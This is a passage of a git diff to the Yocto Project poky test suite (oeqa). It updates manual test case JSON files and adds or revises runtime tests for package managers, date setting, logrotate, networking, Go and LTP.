"2": {
- "action": "wget autobuilder.yoctoproject.org/pub/releases//machines/qemu/qemux86/qemu (ex:core-image-sato-sdk-qemux86-date-rootfs-tar-bz2) \nsource /opt/poky/version/environment-setup-i585-poky-linux \n\nExtract qemu with runqemu-extract-sdk /home/user/file(ex.core-image-sato-sdk-qemux86.bz2) \n/home/user/qemux86-sato-sdk \n\n",
+ "action": "wget https://downloads.yoctoproject.org/releases/yocto/yocto-$VERSION/machines/qemu/qemux86/ (ex:core-image-sato-sdk-qemux86-date-rootfs-tar-bz2) \nsource /opt/poky/version/environment-setup-i585-poky-linux \n\nExtract qemu with runqemu-extract-sdk /home/user/file(ex.core-image-sato-sdk-qemux86.bz2) \n/home/user/qemux86-sato-sdk \n\n",
"expected_results": " Qemu can be lauched normally."
},
"3": {
@@ -60,7 +60,7 @@
"expected_results": ""
},
"6": {
- "action": "(d) QEMU: \nSelect this option if you will be using the QEMU emulator. Specify the Kernel matching the QEMU architecture you are using. \n wget autobuilder.yoctoproject.org/pub/releases//machines/qemu/qemux86/bzImage-qemux86.bin \n e.g: /home/$USER/yocto/adt-installer/download_image/bzImage-qemux86.bin \n\n",
+ "action": "(d) QEMU: \nSelect this option if you will be using the QEMU emulator. Specify the Kernel matching the QEMU architecture you are using. \n wget https://downloads.yoctoproject.org/releases/yocto/yocto-$VERSION/machines/qemu/qemux86/bzImage-qemux86.bin \n e.g: /home/$USER/yocto/adt-installer/download_image/bzImage-qemux86.bin \n\n",
"expected_results": ""
},
"7": {
@@ -82,7 +82,7 @@
],
"execution": {
"1": {
- "action": "Launch a QEMU of target enviroment.(Reference to case \"ADT - Launch qemu by eclipse\") ",
+ "action": "Launch a QEMU of target environment.(Reference to case \"ADT - Launch qemu by eclipse\") ",
"expected_results": ""
},
"2": {
@@ -164,7 +164,7 @@
],
"execution": {
"1": {
- "action": "Launch a QEMU of target enviroment.(Reference to case \"ADT - Launch qemu by eclipse\") ",
+ "action": "Launch a QEMU of target environment.(Reference to case \"ADT - Launch qemu by eclipse\") ",
"expected_results": ""
},
"2": {
@@ -247,7 +247,7 @@
"execution": {
"1": {
"action": "Clone eclipse-poky source. \n \n - git clone git://git.yoctoproject.org/eclipse-poky \n\n",
- "expected_results": "Eclipse plugin is successfully installed \n\nDocumentation is there. For example if you have release yocto-2.0.1 you will found on http://autobuilder.yoctoproject.org/pub/releases/yocto-2.0.1/eclipse-plugin/mars/ archive with documentation like org.yocto.doc-development-$date.zip \n \n"
+ "expected_results": "Eclipse plugin is successfully installed \n\nDocumentation is there. For example if you have release yocto-2.0.1 you will found on https://downloads.yoctoproject.org/releases/yocto/yocto-2.0.1/eclipse-plugin/mars/ archive with documentation like org.yocto.doc-development-$date.zip \n \n"
},
"2": {
"action": "Checkout correct tag. \n\n - git checkout <eclipse-version>/<yocto-version> \n\n",
@@ -319,4 +319,4 @@
"summary": "Eclipse_Poky_installation_and_setup"
}
}
-] \ No newline at end of file
+]
diff --git a/meta/lib/oeqa/manual/oe-core.json b/meta/lib/oeqa/manual/oe-core.json
index 3ee0aa95f9..4ad524d89b 100644
--- a/meta/lib/oeqa/manual/oe-core.json
+++ b/meta/lib/oeqa/manual/oe-core.json
@@ -1,82 +1,6 @@
[
{
"test": {
- "@alias": "oe-core.scripts.Crosstap_script_check",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Create the trace_open.stp script as follows in the host machine: \n\n\nprobe syscall.open \n\n{ \n\n\n printf (\"%s(%d) open (%s)\\n\", execname(), pid(), argstr) \n\n} \n\n\n\nif the above failed, then create the below instead. \n\nprobe syscall.open \n{ \n printf (\"%s(%d) open\\n\", execname(), pid()) \n\n} \n \n",
- "expected_results": ""
- },
- "2": {
- "action": "Add 'tools-profile' and 'ssh-server-openssh' to EXTRA_IMAGE_FEATURES in local.conf \n\n\n",
- "expected_results": ""
- },
- "3": {
- "action": "Build a core-image-minimal image, build systemtap-native. Start the image under qemu. \n\n",
- "expected_results": ""
- },
- "4": {
- "action": "Make sure that the ssh service is started on the Qemu machine. \n\n",
- "expected_results": ""
- },
- "5": {
- "action": "From the host machine poky build_dir, run \"crosstap root@192.168.7.2 trace_open.stp\".",
- "expected_results": ""
- },
- "6": {
- "action": "In QEMU, try to open some applications, such as open a terminal, input some command, \n\n",
- "expected_results": ""
- },
- "7": {
- "action": "Check the host machine, \"crosstap\" has related output. \n\n\n\nNOTE: Do not build the kernel from shared state(sstate-cache) for this to work.",
- "expected_results": "The script should successfully connect to the qemu machine and there \nshould be presented a list of services(pid, process name) which run on \nthe qemu machine. "
- }
- },
- "summary": "Crosstap_script_check"
- }
- },
- {
- "test": {
- "@alias": "oe-core.scripts.List_all_the_PACKAGECONFIG's_flags",
- "author": [
- {
- "email": "yi.zhao@windriver.com",
- "name": "yi.zhao@windriver.com"
- }
- ],
- "execution": {
- "1": {
- "action": " Download the poky source and setup the environment. ",
- "expected_results": ""
- },
- "2": {
- "action": "Run \"../scripts/contrib/list-packageconfig-flags.py\" ",
- "expected_results": "In step 2, will list available pkgs which have PACKAGECONFIG flags: \nPACKAGE NAME (or RECIPE NAME) PACKAGECONFIG FLAGS \n============================================================== \nalsa-tools-1.0.26.1 defaultval gtk+ \navahi-ui-0.6.31 defaultval python \nbluez4-4.101 alsa defaultval pie \n"
- },
- "3": {
- "action": "Run \"../scripts/contrib/list-packageconfig-flags.py -f\" ",
- "expected_results": "In step 3, will list available PACKAGECONFIG flags and all affected pkgs \nPACKAGECONFIG FLAG PACKAGE NAMES (or RECIPE NAMES) \n==================================== \n3g connman-1.16 \n \navahi cups-1.6.3 pulseaudio-4.0 \nbeecrypt rpm-5.4.9 rpm-native-5.4.9 \n"
- },
- "4": {
- "action": "Run \"../scripts/contrib/list-packageconfig-flags.py -a\" ",
- "expected_results": "In step 4, will list all pkgs and PACKAGECONFIG information: \n================================================== \ngtk+-2.24.18 \n/home/jiahongxu/yocto/poky/meta/recipes-gnome/gtk+/gtk+_2.24.18.bb \nPACKAGECONFIG x11 \nPACKAGECONFIG[x11] --with-x=yes --with-gdktarget=x11,--with-x=no,${X11DEPENDS} \nxf86-video-intel-2.21.9 \n/home/jiahongxu/yocto/poky/meta/recipes-graphics/xorg-driver/xf86-video-intel_2.21.9.bb \nPACKAGECONFIG None \nPACKAGECONFIG[xvmc] --enable-xvmc,--disable-xvmc,libxvmc \nPACKAGECONFIG[sna] --enable-sna,--disable-sna \n"
- },
- "5": {
- "action": "Run \"../scripts/contrib/list-packageconfig-flags.py -p\" ",
- "expected_results": "In step 5, will list pkgs with preferred version: \nPACKAGE NAME (or RECIPE NAME) PACKAGECONFIG FLAGS \n=================================================== \nalsa-tools-1.0.26.1 defaultval gtk+ \navahi-ui-0.6.31 defaultval python \nbluez4-4.101 alsa defaultval pie \nbluez5-5.7 alsa defaultval obex-profiles \n\n\n\n "
- }
- },
- "summary": "List_all_the_PACKAGECONFIG's_flags"
- }
- },
- {
- "test": {
"@alias": "oe-core.bitbake.Test_bitbake_menuconfig",
"author": [
{
@@ -156,7 +80,7 @@
"expected_results": ""
},
"7": {
- "action": "Run command:./configure && make ",
+ "action": "Run command:./configure ${CONFIGUREOPTS} && make ",
"expected_results": "Verify that \"matchbox-desktop\" binary file was created successfully under \"src/\" directory "
},
"8": {
@@ -231,4 +155,4 @@
"summary": "test_bitbake_sane_error_for_invalid_layer"
}
}
-] \ No newline at end of file
+]
diff --git a/meta/lib/oeqa/manual/sdk.json b/meta/lib/oeqa/manual/sdk.json
index 434982f7f5..21d892d26d 100644
--- a/meta/lib/oeqa/manual/sdk.json
+++ b/meta/lib/oeqa/manual/sdk.json
@@ -26,7 +26,7 @@
"expected_results": "Expect both qemu to boot up successfully."
}
},
- "summary": "test_install_cross_toolchain_can_run_multiple_qemu_for_x86"
+ "summary": "test_install_cross_toolchain_can_run_multiple_qemu_for:x86"
}
}
] \ No newline at end of file
diff --git a/meta/lib/oeqa/manual/toaster-managed-mode.json b/meta/lib/oeqa/manual/toaster-managed-mode.json
index 12374c7c64..1a71985c3c 100644
--- a/meta/lib/oeqa/manual/toaster-managed-mode.json
+++ b/meta/lib/oeqa/manual/toaster-managed-mode.json
@@ -136,7 +136,7 @@
"expected_results": ""
},
"3": {
- "action": "Check that default values are as follows: \n\tDISTRO - poky \n\tIMAGE_FSTYPES - ext3 jffs2 tar.bz2 \n\tIMAGE_INSTALL_append - \"Not set\" \n\tPACKAGE_CLASES - package_rpm \n SSTATE_DIR - /homeDirectory/poky/sstate-cache \n\n",
+ "action": "Check that default values are as follows: \n\tDISTRO - poky \n\tIMAGE_FSTYPES - ext3 jffs2 tar.bz2 \n\tIMAGE_INSTALL:append - \"Not set\" \n\tPACKAGE_CLASSES - package_rpm \n SSTATE_DIR - /homeDirectory/poky/sstate-cache \n\n",
"expected_results": ""
},
"4": {
@@ -186,7 +186,7 @@
"expected_results": ""
},
"7": {
- "action": "IMAGE_INSTALL_append: \n\t- check that the \"change\" icon is present (represented by a pen icon) \n\t- click on the \"change\" icon and check that the variable becomes a text field, populated with the current value of the variable. \n\n\t- check that the save button is disabled when the text field is empty \n\t- insert test in the text field (for example \"package1\") and hit save; be aware that there is no input validation for this variable \n\t- check that a new \"delete\" icon(a trashcan) has appeared next to the pen icon \n\t- check that clicking on the trashcan icon resets the value to \"Not set\" and makes the trashcan icon dissapear \n\n",
+ "action": "IMAGE_INSTALL:append: \n\t- check that the \"change\" icon is present (represented by a pen icon) \n\t- click on the \"change\" icon and check that the variable becomes a text field, populated with the current value of the variable. \n\n\t- check that the save button is disabled when the text field is empty \n\t- insert test in the text field (for example \"package1\") and hit save; be aware that there is no input validation for this variable \n\t- check that a new \"delete\" icon(a trashcan) has appeared next to the pen icon \n\t- check that clicking on the trashcan icon resets the value to \"Not set\" and makes the trashcan icon dissapear \n\n",
"expected_results": ""
},
"8": {
@@ -1574,7 +1574,7 @@
"expected_results": "Open bitbake variables page. \n\n\t"
},
"5": {
- "action": "Click on change button for IMAGE_INSTALL_append and add a variable (ex: acpid). \n\n",
+ "action": "Click on change button for IMAGE_INSTALL:append and add a variable (ex: acpid). \n\n",
"expected_results": "Variable added. \n\n\t"
},
"6": {
@@ -1590,7 +1590,7 @@
"expected_results": "You should get results for ssh packages."
}
},
- "summary": "Test_IMAGE_INSTALL_append_variable"
+ "summary": "Test_IMAGE_INSTALL:append_variable"
}
},
{
@@ -2348,7 +2348,7 @@
"expected_results": ""
},
"3": {
- "action": "Build 6 recipes example (core-image-sato, core-image-minimal, core-image-base, core-image-clutter) to name a few. ",
+ "action": "Build 6 recipes example (core-image-sato, core-image-minimal, core-image-base) to name a few. ",
"expected_results": " All recipes are built correctly \n\n"
},
"4": {
@@ -2382,7 +2382,7 @@
"expected_results": ""
},
"3": {
- "action": "Build 6 recipes example (core-image-sato, core-image-minimal, core-image-base, core-image-clutter) to name a few. \n\n",
+ "action": "Build 6 recipes example (core-image-sato, core-image-minimal, core-image-base) to name a few. \n\n",
"expected_results": "All recipes are built correctly \n\n"
},
"4": {
@@ -2420,7 +2420,7 @@
"expected_results": ""
},
"3": {
- "action": "Build 4 recipes example (core-image-sato, core-image-minimal, core-image-base, core-image-clutter) to name a few. \n\n",
+ "action": "Build 4 recipes example (core-image-sato, core-image-minimal, core-image-base) to name a few. \n\n",
"expected_results": " All recipes are built correctly \n\n"
},
"4": {
@@ -2569,4 +2569,4 @@
"summary": "Download_task_log"
}
}
-] \ No newline at end of file
+]
diff --git a/meta/lib/oeqa/runtime/cases/apt.py b/meta/lib/oeqa/runtime/cases/apt.py
index 74a940d80f..53745df93f 100644
--- a/meta/lib/oeqa/runtime/cases/apt.py
+++ b/meta/lib/oeqa/runtime/cases/apt.py
@@ -22,7 +22,9 @@ class AptRepoTest(AptTest):
@classmethod
def setUpClass(cls):
service_repo = os.path.join(cls.tc.td['DEPLOY_DIR_DEB'], 'all')
- cls.repo_server = HTTPService(service_repo, cls.tc.target.server_ip, logger=cls.tc.logger)
+ cls.repo_server = HTTPService(service_repo,
+ '0.0.0.0', port=cls.tc.target.server_port,
+ logger=cls.tc.logger)
cls.repo_server.start()
@classmethod
@@ -32,7 +34,7 @@ class AptRepoTest(AptTest):
def setup_source_config_for_package_install(self):
apt_get_source_server = 'http://%s:%s/' % (self.tc.target.server_ip, self.repo_server.port)
apt_get_sourceslist_dir = '/etc/apt/'
- self.target.run('cd %s; echo deb %s ./ > sources.list' % (apt_get_sourceslist_dir, apt_get_source_server))
+ self.target.run('cd %s; echo deb [ allow-insecure=yes ] %s ./ > sources.list' % (apt_get_sourceslist_dir, apt_get_source_server))
def cleanup_source_config_for_package_install(self):
apt_get_sourceslist_dir = '/etc/apt/'
diff --git a/meta/lib/oeqa/runtime/cases/boot.py b/meta/lib/oeqa/runtime/cases/boot.py
new file mode 100644
index 0000000000..2142f400a0
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/boot.py
@@ -0,0 +1,33 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from subprocess import Popen, PIPE
+import time
+
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.oetimeout import OETimeout
+from oeqa.core.decorator.data import skipIfQemu
+
+class BootTest(OERuntimeTestCase):
+
+ @OETimeout(120)
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_reboot(self):
+ output = ''
+ count = 0
+ (status, output) = self.target.run('reboot -h')
+ while count < 5:
+ time.sleep(5)
+ cmd = 'ping -c 1 %s' % self.target.ip
+ proc = Popen(cmd, shell=True, stdout=PIPE)
+ output += proc.communicate()[0].decode('utf-8')
+ if proc.poll() == 0:
+ count += 1
+ else:
+ count = 0
+ msg = ('Expected 5 consecutive, got %d.\n'
+ 'ping output is:\n%s' % (count,output))
+ self.assertEqual(count, 5, msg = msg)
diff --git a/meta/lib/oeqa/runtime/cases/buildcpio.py b/meta/lib/oeqa/runtime/cases/buildcpio.py
index f4e871e421..e29bf16ccb 100644
--- a/meta/lib/oeqa/runtime/cases/buildcpio.py
+++ b/meta/lib/oeqa/runtime/cases/buildcpio.py
@@ -12,7 +12,7 @@ class BuildCpioTest(OERuntimeTestCase):
@classmethod
def setUpClass(cls):
- uri = 'https://downloads.yoctoproject.org/mirror/sources/cpio-2.12.tar.gz'
+ uri = 'https://downloads.yoctoproject.org/mirror/sources/cpio-2.13.tar.gz'
cls.project = TargetBuildProject(cls.tc.target,
uri,
dl_dir = cls.tc.td['DL_DIR'])
@@ -27,6 +27,7 @@ class BuildCpioTest(OERuntimeTestCase):
@OEHasPackage(['autoconf'])
def test_cpio(self):
self.project.download_archive()
- self.project.run_configure()
+ self.project.run_configure('--disable-maintainer-mode',
+ 'sed -i -e "/char \*program_name/d" src/global.c;')
self.project.run_make()
self.project.run_install()
diff --git a/meta/lib/oeqa/runtime/cases/date.py b/meta/lib/oeqa/runtime/cases/date.py
index 7750a7293f..bd6537400e 100644
--- a/meta/lib/oeqa/runtime/cases/date.py
+++ b/meta/lib/oeqa/runtime/cases/date.py
@@ -13,12 +13,12 @@ class DateTest(OERuntimeTestCase):
def setUp(self):
if self.tc.td.get('VIRTUAL-RUNTIME_init_manager') == 'systemd':
self.logger.debug('Stopping systemd-timesyncd daemon')
- self.target.run('systemctl stop systemd-timesyncd')
+ self.target.run('systemctl disable --now --runtime systemd-timesyncd')
def tearDown(self):
if self.tc.td.get('VIRTUAL-RUNTIME_init_manager') == 'systemd':
self.logger.debug('Starting systemd-timesyncd daemon')
- self.target.run('systemctl start systemd-timesyncd')
+ self.target.run('systemctl enable --now --runtime systemd-timesyncd')
@OETestDepends(['ssh.SSHTest.test_ssh'])
@OEHasPackage(['coreutils', 'busybox'])
@@ -28,14 +28,13 @@ class DateTest(OERuntimeTestCase):
self.assertEqual(status, 0, msg=msg)
oldDate = output
- sampleDate = '"2016-08-09 10:00:00"'
- (status, output) = self.target.run("date -s %s" % sampleDate)
+ sampleTimestamp = 1488800000
+ (status, output) = self.target.run("date -s @%d" % sampleTimestamp)
self.assertEqual(status, 0, msg='Date set failed, output: %s' % output)
- (status, output) = self.target.run("date -R")
- p = re.match('Tue, 09 Aug 2016 10:00:.. \+0000', output)
+ (status, output) = self.target.run('date +"%s"')
msg = 'The date was not set correctly, output: %s' % output
- self.assertTrue(p, msg=msg)
+ self.assertTrue(int(output) - sampleTimestamp < 300, msg=msg)
(status, output) = self.target.run('date -s "%s"' % oldDate)
msg = 'Failed to reset date, output: %s' % output
diff --git a/meta/lib/oeqa/runtime/cases/df.py b/meta/lib/oeqa/runtime/cases/df.py
index 89fd0fb901..bb155c9cf9 100644
--- a/meta/lib/oeqa/runtime/cases/df.py
+++ b/meta/lib/oeqa/runtime/cases/df.py
@@ -4,12 +4,14 @@
from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfDataVar, skipIfInDataVar
from oeqa.runtime.decorator.package import OEHasPackage
class DfTest(OERuntimeTestCase):
@OETestDepends(['ssh.SSHTest.test_ssh'])
@OEHasPackage(['coreutils', 'busybox'])
+ @skipIfInDataVar('IMAGE_FEATURES', 'read-only-rootfs', 'Test case df requires a writable rootfs')
def test_df(self):
cmd = "df -P / | sed -n '2p' | awk '{print $4}'"
(status,output) = self.target.run(cmd)
diff --git a/meta/lib/oeqa/runtime/cases/dnf.py b/meta/lib/oeqa/runtime/cases/dnf.py
index de3759995e..f40c63026e 100644
--- a/meta/lib/oeqa/runtime/cases/dnf.py
+++ b/meta/lib/oeqa/runtime/cases/dnf.py
@@ -53,7 +53,8 @@ class DnfRepoTest(DnfTest):
@classmethod
def setUpClass(cls):
cls.repo_server = HTTPService(os.path.join(cls.tc.td['WORKDIR'], 'oe-testimage-repo'),
- cls.tc.target.server_ip, logger=cls.tc.logger)
+ '0.0.0.0', port=cls.tc.target.server_port,
+ logger=cls.tc.logger)
cls.repo_server.start()
@classmethod
diff --git a/meta/lib/oeqa/runtime/cases/ethernet_ip_connman.py b/meta/lib/oeqa/runtime/cases/ethernet_ip_connman.py
new file mode 100644
index 0000000000..e010612838
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/ethernet_ip_connman.py
@@ -0,0 +1,36 @@
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfQemu
+
+class Ethernet_Test(OERuntimeTestCase):
+
+ def set_ip(self, x):
+ x = x.split(".")
+ sample_host_address = '150'
+ x[3] = sample_host_address
+ x = '.'.join(x)
+ return x
+
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_set_virtual_ip(self):
+ (status, output) = self.target.run("ifconfig eth0 | grep 'inet ' | awk '{print $2}'")
+ self.assertEqual(status, 0, msg='Failed to get ip address. Make sure you have an ethernet connection on your device, output: %s' % output)
+ original_ip = output
+ virtual_ip = self.set_ip(original_ip)
+
+ (status, output) = self.target.run("ifconfig eth0:1 %s netmask 255.255.255.0 && sleep 2 && ping -c 5 %s && ifconfig eth0:1 down" % (virtual_ip,virtual_ip))
+ self.assertEqual(status, 0, msg='Failed to create virtual ip address, output: %s' % output)
+
+ @OETestDepends(['ethernet_ip_connman.Ethernet_Test.test_set_virtual_ip'])
+ def test_get_ip_from_dhcp(self):
+ (status, output) = self.target.run("connmanctl services | grep -E '*AO Wired|*AR Wired' | awk '{print $3}'")
+ self.assertEqual(status, 0, msg='No wired interfaces are detected, output: %s' % output)
+ wired_interfaces = output
+
+ (status, output) = self.target.run("ip route | grep default | awk '{print $3}'")
+ self.assertEqual(status, 0, msg='Failed to retrieve the default gateway, output: %s' % output)
+ default_gateway = output
+
+ (status, output) = self.target.run("connmanctl config %s --ipv4 dhcp && sleep 2 && ping -c 5 %s" % (wired_interfaces,default_gateway))
+ self.assertEqual(status, 0, msg='Failed to get dynamic IP address via DHCP in connmand, output: %s' % output) \ No newline at end of file
diff --git a/meta/lib/oeqa/runtime/cases/go.py b/meta/lib/oeqa/runtime/cases/go.py
new file mode 100644
index 0000000000..89ba2c3ecb
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/go.py
@@ -0,0 +1,19 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.runtime.decorator.package import OEHasPackage
+
+class GoHelloworldTest(OERuntimeTestCase):
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(['go-helloworld'])
+ def test_gohelloworld(self):
+ cmd = "go-helloworld"
+ status, output = self.target.run(cmd)
+ msg = 'Exit status was not 0. Output: %s' % output
+ self.assertEqual(status, 0, msg=msg)
+
+ msg = 'Incorrect output: %s' % output
+ self.assertEqual(output, "Hello, Go examples!", msg=msg)
diff --git a/meta/lib/oeqa/runtime/cases/ksample.py b/meta/lib/oeqa/runtime/cases/ksample.py
index a9a1620ebd..c69e3fe4ac 100644
--- a/meta/lib/oeqa/runtime/cases/ksample.py
+++ b/meta/lib/oeqa/runtime/cases/ksample.py
@@ -10,7 +10,7 @@ from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfNotFeature
# need some kernel fragments
-# echo "KERNEL_FEATURES_append += \" features\/kernel\-sample\/kernel\-sample.scc\"" >> local.conf
+# echo "KERNEL_FEATURES:append = \" features\/kernel\-sample\/kernel\-sample.scc\"" >> local.conf
class KSample(OERuntimeTestCase):
def cmd_and_check(self, cmd='', match_string=''):
status, output = self.target.run(cmd)
diff --git a/meta/lib/oeqa/runtime/cases/logrotate.py b/meta/lib/oeqa/runtime/cases/logrotate.py
index bfa57c534a..2bff08f9da 100644
--- a/meta/lib/oeqa/runtime/cases/logrotate.py
+++ b/meta/lib/oeqa/runtime/cases/logrotate.py
@@ -17,33 +17,55 @@ class LogrotateTest(OERuntimeTestCase):
@classmethod
def tearDownClass(cls):
- cls.tc.target.run('mv -f $HOME/wtmp.oeqabak /etc/logrotate.d/wtmp && rm -rf $HOME/logrotate_dir')
+ cls.tc.target.run('mv -f $HOME/wtmp.oeqabak /etc/logrotate.d/wtmp && rm -rf /var/log//logrotate_dir')
+ cls.tc.target.run('rm -rf /var/log/logrotate_testfile && rm -rf /etc/logrotate.d/logrotate_testfile')
@OETestDepends(['ssh.SSHTest.test_ssh'])
@OEHasPackage(['logrotate'])
- def test_1_logrotate_setup(self):
- status, output = self.target.run('mkdir $HOME/logrotate_dir')
- msg = 'Could not create logrotate_dir. Output: %s' % output
+ def test_logrotate_wtmp(self):
+
+ # /var/log/wtmp may not always exist initially, so use touch to ensure it is present
+ status, output = self.target.run('touch /var/log/wtmp')
+ msg = ('Could not create/update /var/log/wtmp with touch')
self.assertEqual(status, 0, msg = msg)
- cmd = ('sed -i "s#wtmp {#wtmp {\\n olddir $HOME/logrotate_dir#"'
- ' /etc/logrotate.d/wtmp')
- status, output = self.target.run(cmd)
- msg = ('Could not write to logrotate.d/wtmp file. Status and output: '
- ' %s and %s' % (status, output))
+ status, output = self.target.run('mkdir /var/log//logrotate_dir')
+ msg = ('Could not create logrotate_dir. Output: %s' % output)
self.assertEqual(status, 0, msg = msg)
- @OETestDepends(['logrotate.LogrotateTest.test_1_logrotate_setup'])
- def test_2_logrotate(self):
- status, output = self.target.run('echo "create \n include /etc/logrotate.d" > /tmp/logrotate-test.conf')
- status, output = self.target.run('logrotate -f /tmp/logrotate-test.conf')
+ status, output = self.target.run('echo "create \n olddir /var/log//logrotate_dir \n include /etc/logrotate.d/wtmp" > /tmp/logrotate-test.conf')
+ msg = ('Could not write to /tmp/logrotate-test.conf')
+ self.assertEqual(status, 0, msg = msg)
+
+ # If logrotate fails to rotate the log, view the verbose output of logrotate to see what prevented it
+ _, logrotate_output = self.target.run('logrotate -vf /tmp/logrotate-test.conf')
+ status, _ = self.target.run('find /var/log//logrotate_dir -type f | grep wtmp.1')
+ msg = ("logrotate did not successfully rotate the wtmp log. Output from logrotate -vf: \n%s" % (logrotate_output))
+ self.assertEqual(status, 0, msg = msg)
+
+ @OETestDepends(['logrotate.LogrotateTest.test_logrotate_wtmp'])
+ def test_logrotate_newlog(self):
+
+ status, output = self.target.run('echo "oeqa logrotate test file" > /var/log/logrotate_testfile')
+ msg = ('Could not create logrotate test file in /var/log')
+ self.assertEqual(status, 0, msg = msg)
+
+ status, output = self.target.run('echo "/var/log/logrotate_testfile {\n missingok \n monthly \n rotate 1" > /etc/logrotate.d/logrotate_testfile')
+ msg = ('Could not write to /etc/logrotate.d/logrotate_testfile')
+ self.assertEqual(status, 0, msg = msg)
- msg = ('logrotate service could not be reloaded. Status and output: '
- '%s and %s' % (status, output))
+ status, output = self.target.run('echo "create \n olddir /var/log//logrotate_dir \n include /etc/logrotate.d/logrotate_testfile" > /tmp/logrotate-test2.conf')
+ msg = ('Could not write to /tmp/logrotate_test2.conf')
self.assertEqual(status, 0, msg = msg)
- _, output = self.target.run('ls -la $HOME/logrotate_dir/ | wc -l')
- msg = ('new logfile could not be created. List of files within log '
- 'directory: %s' % (
- self.target.run('ls -la $HOME/logrotate_dir')[1]))
- self.assertTrue(int(output)>=3, msg = msg)
+ status, output = self.target.run('find /var/log//logrotate_dir -type f | grep logrotate_testfile.1')
+ msg = ('A rotated log for logrotate_testfile is already present in logrotate_dir')
+ self.assertEqual(status, 1, msg = msg)
+
+ # If logrotate fails to rotate the log, view the verbose output of logrotate instead of just listing the files in olddir
+ _, logrotate_output = self.target.run('logrotate -vf /tmp/logrotate-test2.conf')
+ status, _ = self.target.run('find /var/log//logrotate_dir -type f | grep logrotate_testfile.1')
+ msg = ('logrotate did not successfully rotate the logrotate_test log. Output from logrotate -vf: \n%s' % (logrotate_output))
+ self.assertEqual(status, 0, msg = msg)
+
+
diff --git a/meta/lib/oeqa/runtime/cases/ltp.py b/meta/lib/oeqa/runtime/cases/ltp.py
index 30548640bc..a66d5d13d7 100644
--- a/meta/lib/oeqa/runtime/cases/ltp.py
+++ b/meta/lib/oeqa/runtime/cases/ltp.py
@@ -57,9 +57,9 @@ class LtpTestBase(OERuntimeTestCase):
class LtpTest(LtpTestBase):
- ltp_groups = ["math", "syscalls", "dio", "io", "mm", "ipc", "sched", "nptl", "pty", "containers", "controllers", "filecaps", "cap_bounds", "fcntl-locktests", "connectors","timers", "commands", "net.ipv6_lib", "input","fs_perms_simple"]
+ ltp_groups = ["math", "syscalls", "dio", "io", "mm", "ipc", "sched", "nptl", "pty", "containers", "controllers", "filecaps", "cap_bounds", "fcntl-locktests", "connectors", "commands", "net.ipv6_lib", "input","fs_perms_simple"]
- ltp_fs = ["fs", "fsx", "fs_bind", "fs_ext4"]
+ ltp_fs = ["fs", "fsx", "fs_bind"]
# skip kernel cpuhotplug
ltp_kernel = ["power_management_tests", "hyperthreading ", "kernel_misc", "hugetlb"]
ltp_groups += ltp_fs
@@ -78,9 +78,10 @@ class LtpTest(LtpTestBase):
# copy nice log from DUT
dst = os.path.join(self.ltptest_log_dir, "%s" % ltp_group )
remote_src = "/opt/ltp/results/%s" % ltp_group
- (status, output) = self.target.copyFrom(remote_src, dst)
+ (status, output) = self.target.copyFrom(remote_src, dst, True)
msg = 'File could not be copied. Output: %s' % output
- self.assertEqual(status, 0, msg=msg)
+ if status:
+ self.target.logger.warning(msg)
parser = LtpParser()
results, sections = parser.parse(dst)
diff --git a/meta/lib/oeqa/runtime/cases/ltp_stress.py b/meta/lib/oeqa/runtime/cases/ltp_stress.py
new file mode 100644
index 0000000000..2445ffbc93
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/ltp_stress.py
@@ -0,0 +1,98 @@
+# LTP Stress runtime
+#
+# Copyright (c) 2019 MontaVista Software, LLC
+#
+# SPDX-License-Identifier: MIT
+#
+
+import time
+import datetime
+import pprint
+
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.runtime.decorator.package import OEHasPackage
+from oeqa.core.decorator.data import skipIfQemu
+from oeqa.utils.logparser import LtpParser
+
+class LtpStressBase(OERuntimeTestCase):
+
+ @classmethod
+ def setUpClass(cls):
+ cls.ltp_startup()
+
+ @classmethod
+ def tearDownClass(cls):
+ cls.ltp_finishup()
+
+ @classmethod
+ def ltp_startup(cls):
+ cls.sections = {}
+ cls.failmsg = ""
+ test_log_dir = os.path.join(cls.td.get('WORKDIR', ''), 'testimage')
+ timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
+
+ cls.ltptest_log_dir_link = os.path.join(test_log_dir, 'ltpstress_log')
+ cls.ltptest_log_dir = '%s.%s' % (cls.ltptest_log_dir_link, timestamp)
+ os.makedirs(cls.ltptest_log_dir)
+
+ cls.tc.target.run("mkdir -p /opt/ltp/results")
+
+ if not hasattr(cls.tc, "extraresults"):
+ cls.tc.extraresults = {}
+ cls.extras = cls.tc.extraresults
+ cls.extras['ltpstressresult.rawlogs'] = {'log': ""}
+
+
+ @classmethod
+ def ltp_finishup(cls):
+ cls.extras['ltpstressresult.sections'] = cls.sections
+
+ # update symlink to ltp_log
+ if os.path.exists(cls.ltptest_log_dir_link):
+ os.remove(cls.ltptest_log_dir_link)
+
+ os.symlink(os.path.basename(cls.ltptest_log_dir), cls.ltptest_log_dir_link)
+
+ if cls.failmsg:
+ cls.fail(cls.failmsg)
+
+class LtpStressTest(LtpStressBase):
+
+ def runltp(self, stress_group):
+ cmd = '/opt/ltp/runltp -f %s -p -q 2>@1 | tee /opt/ltp/results/%s' % (stress_group, stress_group)
+ starttime = time.time()
